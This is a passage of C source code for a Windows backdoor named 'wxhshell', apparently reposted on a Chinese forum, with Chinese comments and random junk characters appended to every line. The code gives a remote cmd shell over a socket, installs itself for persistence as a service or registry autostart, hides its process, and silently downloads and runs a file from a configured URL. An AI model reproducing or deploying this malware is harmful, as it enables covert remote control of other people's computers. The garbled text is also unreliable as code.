  NL,6<ZOon,  
  // 帮助 _Q'f^Kj  
  case '?': { 0avtfQ +f  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zs6rd83#  
    break; PeIKx$$Kl{  
  } IrUoAQ2xpG  
  // 安装 V?)YQ B  
  case 'i': { aJ@lT&.  
    if(Install()) fr'DV/T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $xCJ5M4  
    else d_!}9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CaV@<T  
    break; x2TE[#><  
    } Po&'#TC1  
  // 卸载 # [ +n(  
  case 'r': { #&ei  
    if(Uninstall()) T"t.t%(8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +:W/=C d(h  
    else ht#,v5oG>f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k!bG![Ie|  
    break; \u04m}h]  
    } %k<+#j6ZH  
  // 显示 wxhshell 所在路径 39MOqVc  
  case 'p': { bI^F (  
    char svExeFile[MAX_PATH]; -Kw7! =_ g  
    strcpy(svExeFile,"\n\r"); Kn1T2WSAg  
      strcat(svExeFile,ExeFile); `6RccEm  
        send(wsh,svExeFile,strlen(svExeFile),0); Tq SjL{l%  
    break; X#Ob^E%J  
    } Qsw.429t  
  // 重启 [kTckZv  
  case 'b': { nch#DE8 2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Khl0~  
    if(Boot(REBOOT)) 6q8PLyIp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r9*6=*J|  
    else { 65nK1W`i  
    closesocket(wsh); g6+5uvpd  
    ExitThread(0); E62_k 0q  
    } Ls+vWfF=#  
    break; ej7L-~lxQ  
    } 9R">l5u  
  // 关机 4 L 5$=V  
  case 'd': { JP(0/?Q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); RP^vx`9h  
    if(Boot(SHUTDOWN)) QyY<Zi;6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sgnc$x"  
    else { @^J>. g  
    closesocket(wsh); nN^lY=3  
    ExitThread(0); unNN&m#@  
    } NB5lxaL  
    break; %%#bTyF  
    } <Ql2+ev6  
  // 获取shell 24 .'+3  
  case 's': { GvvKM=1  
    CmdShell(wsh); cj^hwtx   
    closesocket(wsh); u{w,y.l1h  
    ExitThread(0); 0x<G\ l4  
    break; Q5l+-  
  } >^IUS8v  
  // 退出 OG_v[  C5  
  case 'x': { y2mSPLw  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); of GoaH*h  
    CloseIt(wsh); 52NI{"  
    break; J qmL|S)  
    } ggrkj0  
  // 离开 ;Wa&Dg/5`  
  case 'q': { Jl6lZd(Np  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); dt>9mF q  
    closesocket(wsh); \ .+:yV<$  
    WSACleanup(); X4!Jj *  
    exit(1); ` @lNt}  
    break; :6Tv4ZUvcG  
        } &;`E3$>  
  } o q6^  
  } 4)>S3Yr  
KV-h~C  
  // 提示信息 ;.rY`<|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JStEOQF4  
} ^.  
  } %mD{rG9  
GctV  
  return; OEX\]!3_Fm  
} LPZ\T} <l  
+WKN&@  
// shell模块句柄 KfPgj  
int CmdShell(SOCKET sock) y&eU\>M  
{ $dWYu"2C D  
STARTUPINFO si; ~;YkR'q0_  
ZeroMemory(&si,sizeof(si)); kBnb9'.A1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Rlm28  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8H T3C\$s  
PROCESS_INFORMATION ProcessInfo; +F%tBUY{<  
char cmdline[]="cmd"; Ct zW do.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .JJ50p  
  return 0; "zzb`T[8  
} F~hH>BH9  
pSEaE9AX%  
// 自身启动模式 SSyARR+;c  
int StartFromService(void) 'cAS>s"$}V  
{ ;j[:tt\k  
typedef struct 5R%y3::$S  
{ ?A24h !7  
  DWORD ExitStatus; F\ GNLi  
  DWORD PebBaseAddress; QAMcI:5  
  DWORD AffinityMask; 1_]%,  
  DWORD BasePriority; TJ>1?W\Z  
  ULONG UniqueProcessId; vA[7i*D{w  
  ULONG InheritedFromUniqueProcessId; Y^U^yh_!^  
}   PROCESS_BASIC_INFORMATION; om=kA"&&Q  
_^ic@h3'X~  
PROCNTQSIP NtQueryInformationProcess; 8rFP*K9  
}n#$p{e$i  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =Zsxl]h   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; l<<9H-O  
/[ft{:#&t  
  HANDLE             hProcess; z]LVq k  
  PROCESS_BASIC_INFORMATION pbi; 0I do_V  
dTlEEgR  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); jxt]Z3a~0  
  if(NULL == hInst ) return 0; CC'N"Xb  
N3a ]!4Y\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); T|j=,2_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); cS2]?zI  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ly R<cd$W  
A:(qF.Tm  
  if (!NtQueryInformationProcess) return 0; QFoCi&  
X?JtEQ~>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); p,uM)LD  
  if(!hProcess) return 0; Q`4I a<5B  
}W[=O:p  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a<>cbP  
l<ZHS'-;8  
  CloseHandle(hProcess); 2R^Eea  
2+p XtP@O  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Fpwhyls  
if(hProcess==NULL) return 0; rY1jC\  
@xso{$z?j  
HMODULE hMod; eb6y-TwY  
char procName[255]; ^gNbcWc7CU  
unsigned long cbNeeded; ~?)y'?  
AMO{ee7Po  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); v6E5#pse8  
g:U -kK!i  
  CloseHandle(hProcess); yS[HYq  
Ij XxH]2  
if(strstr(procName,"services")) return 1; // 以服务启动 qSD3]Dv"  
B<$6Dj%L  
  return 0; // 注册表启动 -%K}~4J  
} &%k_BdlkQ  
Y% @;\  
// 主模块 L `=*Pwcj  
int StartWxhshell(LPSTR lpCmdLine) Tu,nX'q]m  
{ T!pZj_ h=  
  SOCKET wsl; 'aEN(Mdz1e  
BOOL val=TRUE; \_i22/Et  
  int port=0; x&m(h1h  
  struct sockaddr_in door; $(08!U  
mv`b3 $  
  if(wscfg.ws_autoins) Install(); nPl,qcyY  
U!RIeC  
port=atoi(lpCmdLine); a5d_= :S ;  
d-W*`:Q  
if(port<=0) port=wscfg.ws_port; TIaiJvo  
n!lE|if  
  WSADATA data; [9Tnp]q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0AoWw-H6V  
MBU4Awj  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   No+BS%F5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &_j<! 3*  
  door.sin_family = AF_INET; *YX:e@Fm.a  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); U2~|AkL  
  door.sin_port = htons(port); 3O _O5  
BJLeE}=H  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { F&3:]1  
closesocket(wsl); vBM<M3  
return 1; ymnK`/J!Q  
} FP0GE  
g:p` .KuB  
  if(listen(wsl,2) == INVALID_SOCKET) { BGOS(  
closesocket(wsl); :Dtm+EQ  
return 1; &NbSG+t  
} 8= 82x  
  Wxhshell(wsl); =*>.z@WQ  
  WSACleanup(); eu$"GbqY  
2 '$nz  
return 0; D`.\c#;cN  
qw)Ou]L=  
} $"}*#<Z  
>%n6n! "  
// 以NT服务方式启动 n* .<L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /5 OQ0{8p  
{ ,W/Y@ScC  
DWORD   status = 0; RQ#9[6w!v  
  DWORD   specificError = 0xfffffff; iV\*7  
9VIAOky-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; o"A?Aq  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Fta=yH }  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Wg8*;dvtM  
  serviceStatus.dwWin32ExitCode     = 0; %N\8!aXnf  
  serviceStatus.dwServiceSpecificExitCode = 0; ) :Px`] 5  
  serviceStatus.dwCheckPoint       = 0; f'qM?GlET  
  serviceStatus.dwWaitHint       = 0; _(8N*q*w  
RmO kb~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); uBC#4cX`D*  
  if (hServiceStatusHandle==0) return; 1Vz3N/AP%?  
[i> D|X  
status = GetLastError(); Eq8:[o  
  if (status!=NO_ERROR) E(f|LG[I  
{ R?}%rP+^e  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; E5*pD*#  
    serviceStatus.dwCheckPoint       = 0; \Il?$Kb/  
    serviceStatus.dwWaitHint       = 0; c`\qupnY  
    serviceStatus.dwWin32ExitCode     = status; gl2l%]=\'  
    serviceStatus.dwServiceSpecificExitCode = specificError; e<~bDFH  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); OF;"%IW~}  
    return; &0d5".|s  
  } T)e Uo  
E% Ko[G  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; fj9&J[  
  serviceStatus.dwCheckPoint       = 0; bz [?M}  
  serviceStatus.dwWaitHint       = 0; 3-[+g}kak?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1&Mpx!K*T  
} 58`Dcx,yJ  
%/_E8GE  
// 处理NT服务事件,比如:启动、停止 9PaV*S(\TR  
VOID WINAPI NTServiceHandler(DWORD fdwControl) , 0?_? GO  
{ ^$rqyWZYp  
switch(fdwControl) <u?\%iJ"  
{ Tq6\oIBkV  
case SERVICE_CONTROL_STOP: e#WASHZN  
  serviceStatus.dwWin32ExitCode = 0; OL@$RTh  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {"rL3Lk  
  serviceStatus.dwCheckPoint   = 0; @f,/K1k  
  serviceStatus.dwWaitHint     = 0; )U8=-_m  
  { ZK<c(,oZ^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5 (q4o`  
  } IL?"g{w  
  return; *fLVzYpo  
case SERVICE_CONTROL_PAUSE: azRp4~2?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; KsqS{VVCh  
  break; ;D%H}+Z  
case SERVICE_CONTROL_CONTINUE: a,n#E!zT?w  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9w1`_r[J  
  break; kp6&e  
case SERVICE_CONTROL_INTERROGATE: i|S/g.r  
  break; SF"r</c[  
}; R#rfnP >  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5E}]U,$  
} bJynUZ  
#;;A~d:V  
// 标准应用程序主函数 ':f,RG  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P"[{s^mb  
{  KcpQ[6\  
T]\'D&P~D  
// 获取操作系统版本 YjPj#57+  
OsIsNt=GetOsVer(); ]L3MIaO2T  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {Z>Mnw"R  
Odw9]`,T  
  // 从命令行安装 }1.'2.<Y  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~;t/VsgGW  
^5k~ 7F.  
  // 下载执行文件 X2YBZA  
if(wscfg.ws_downexe) { Ak3V< =gx  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) P\@efq@!  
  WinExec(wscfg.ws_filenam,SW_HIDE); yEkwdx5!(  
} ^pqJz^PO.  
Q4g69IE  
if(!OsIsNt) { Y+0GJuBf  
// 如果时win9x,隐藏进程并且设置为注册表启动 hANe$10=H  
HideProc(); vVjk9_Ul  
StartWxhshell(lpCmdLine); :8]y*j  
} I(z16wQ  
else *-E'$  
  if(StartFromService()) @S&QxE^  
  // 以服务方式启动 &WS'Me  
  StartServiceCtrlDispatcher(DispatchTable); m+x$LkP  
else [&lH[:Y#  
  // 普通方式启动 g]d0B!Ar~  
  StartWxhshell(lpCmdLine); p]7IoO -@  
|!CAxE0d$B  
return 0; :xY9eq=  
}
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只看该作者 1 发表于: 2006-10-10
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